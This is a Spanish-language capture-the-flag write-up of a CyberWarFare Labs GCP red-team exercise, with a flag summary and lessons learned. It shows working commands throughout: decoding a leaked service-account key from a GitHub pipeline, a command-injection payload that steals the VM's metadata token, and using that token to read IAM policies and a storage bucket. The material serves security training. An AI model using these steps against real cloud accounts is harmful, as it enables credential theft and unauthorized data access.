GCP Cloud Red Teaming Writeup
Módulo 3 — GCP Cloud Red Teaming Writeup
Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment Plataforma: CyberWarFare Labs Objetivo: Identificar y explotar misconfiguraciones en la infraestructura GCP de CWL Meta Tech Corporation.
Flag 1 — GitHub Repository con leaked Service Account Key
OSINT en GitHub
Buscamos en GitHub usando la keyword cwl-metatech:
https://github.com/cwl-metatech/production-data
El repositorio production-data contiene un archivo pipeline.yml con una CI/CD pipeline que expone una variable ENCRYPTED_GCP_KEY en base64.
Flag 1: https://github.com/cwl-metatech/production-data
Flag 2 — Project ID
Decodificamos la key base64 del pipeline:
curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
| grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' \
| base64 -d | python3 -m json.tool
{
"type": "service_account",
"project_id": "mcrta-exam",
"client_email": "dev-service-account@mcrta-exam.iam.gserviceaccount.com"
}
Flag 2: mcrta-exam
Flag 3 — Compute Instance Name
Instalamos gcloud SDK y autenticamos con la service account key. Primero reemplazamos los \n literales por saltos de línea reales en la clave privada:
curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
| grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' | base64 -d \
| python3 -c "
import sys, json
raw = sys.stdin.read()
data = json.loads(raw)
data['private_key'] = data['private_key'].replace('\\\\n', '\n')
print(json.dumps(data, indent=2))
" > /tmp/dev-sa-key.json
gcloud auth activate-service-account --key-file=/tmp/dev-sa-key.json
gcloud config set project mcrta-exam
Listamos las instancias compute:
gcloud compute instances list --project mcrta-exam
NAME ZONE MACHINE_TYPE EXTERNAL_IP STATUS
stag-instance us-central1-b n1-standard-1 34.27.221.40 RUNNING
Flag 3: stag-instance
Flag 4 — Service Account de la VM
gcloud compute instances describe stag-instance \
--zone us-central1-b --project mcrta-exam \
--format="get(serviceAccounts)"
{'email': 'vm-service-account@mcrta-exam.iam.gserviceaccount.com', 'scopes': [...]}
Flag 4: vm-service-account@mcrta-exam.iam.gserviceaccount.com
Flag 5 — Role de VM Service Account a nivel Project
La dev service account no tiene permisos para leer IAM del projecto directamente. Pero la VM ejecuta la misma app web vulnerable (process.php con SSRF).
GCP metadata requiere el header Metadata-Flavor: Google:
curl -s -X POST "http://34.27.221.40/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata-Flavor:Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"'
Obtenemos el access_token de la VM. Luego consultamos la IAM policy del proyecto:
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/mcrta-exam:getIamPolicy" \
-X POST -H "Content-Type: application/json" -d "{}" | python3 -m json.tool
{
"bindings": [
{
"role": "roles/reader",
"members": [
"serviceAccount:vm-service-account@mcrta-exam.iam.gserviceaccount.com"
]
},
{
"role": "projects/mcrta-exam/roles/VMReadgek",
"members": [
"serviceAccount:dev-service-account@mcrta-exam.iam.gserviceaccount.com"
]
}
]
}
Flag 5: roles/reader
Flag 6 — Service Account con VMRead* Custom Role
Del mismo IAM policy anterior:
"role": "projects/mcrta-exam/roles/VMReadgek",
"members": ["serviceAccount:dev-service-account@mcrta-exam.iam.gserviceaccount.com"]
Flag 6: dev-service-account@mcrta-exam.iam.gserviceaccount.com
Flag 7 — Permiso en VMRead* Custom Role
Obtenemos la definición del rol personalizado:
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://iam.googleapis.com/v1/projects/mcrta-exam/roles/VMReadgek" | python3 -m json.tool
{
"name": "projects/mcrta-exam/roles/VMReadgek",
"includedPermissions": ["compute.instances.list"]
}
Flag 7: compute.instances.list
Flag 8 — Permiso de dev-service-account a nivel VM
Usamos la dev service account para consultar la IAM policy de la instancia:
gcloud compute instances get-iam-policy stag-instance \
--zone us-central1-b --project mcrta-exam
bindings:
- members:
- serviceAccount:dev-service-account@mcrta-exam.iam.gserviceaccount.com
role: roles/reader
Flag 8: roles/reader
Flag 9 — Cloud Storage Bucket
Con el token de la VM, listamos los buckets:
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=mcrta-exam" \
| python3 -m json.tool | grep '"name"'
"name": "stag-storage-metatech-prod11"
Flag 9: stag-storage-metatech-prod11
Flag 10 — License Key
Listamos los objetos dentro del bucket:
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b/stag-storage-metatech-prod11/o" \
| python3 -c "
import sys, json
for o in json.load(sys.stdin).get('items', []): print(o['name'])
"
license-key.txt
Leemos el archivo:
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b/stag-storage-metatech-prod11/o/license-key.txt?alt=media"
V13JG-NPH5M-S97JM-9MPGT-3S66T
Flag 10: V13JG-NPH5M-S97JM-9MPGT-3S66T
Resumen de Flags
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | GitHub repo con leaked key | https://github.com/cwl-metatech/production-data |
| 2 | Project ID | mcrta-exam |
| 3 | Compute instance name | stag-instance |
| 4 | SA email del instance | vm-service-account@mcrta-exam.iam.gserviceaccount.com |
| 5 | Role de VM SA a nivel project | roles/reader |
| 6 | SA con VMReadgek custom role | dev-service-account@mcrta-exam.iam.gserviceaccount.com |
| 7 | Permiso en VMReadgek | compute.instances.list |
| 8 | Permiso de dev SA a nivel VM | roles/reader |
| 9 | Nombre del storage bucket | stag-storage-metatech-prod11 |
| 10 | License key | V13JG-NPH5M-S97JM-9MPGT-3S66T |
Lecciones Aprendidas
- GitHub OSINT: Las claves de service account filtradas en repositorios públicos son un vector de ataque crítico. La key estaba en base64 en un pipeline.yml.
- Supply chain attack: El repositorio
production-datacontenía una clave de GCP con permisos limitados pero suficientes para identificar la infraestructura. - GCP IMDS requiere header específico:
Metadata-Flavor: Google— a diferencia de AWS (sin header) y Azure (Metadata: true). - Pivoting con SSRF: La VM ejecutaba la misma aplicación web vulnerable. Al explotar el SSRF contra GCP metadata se obtuvo un token con más privilegios que la service account original.
- Cloud Resource Manager API: Permite leer la política IAM completa del proyecto con el token adecuado.
- GCS con token de VM: El token de la VM tenía acceso a Storage, lo que permitió listar buckets y leer el archivo
license-key.txt.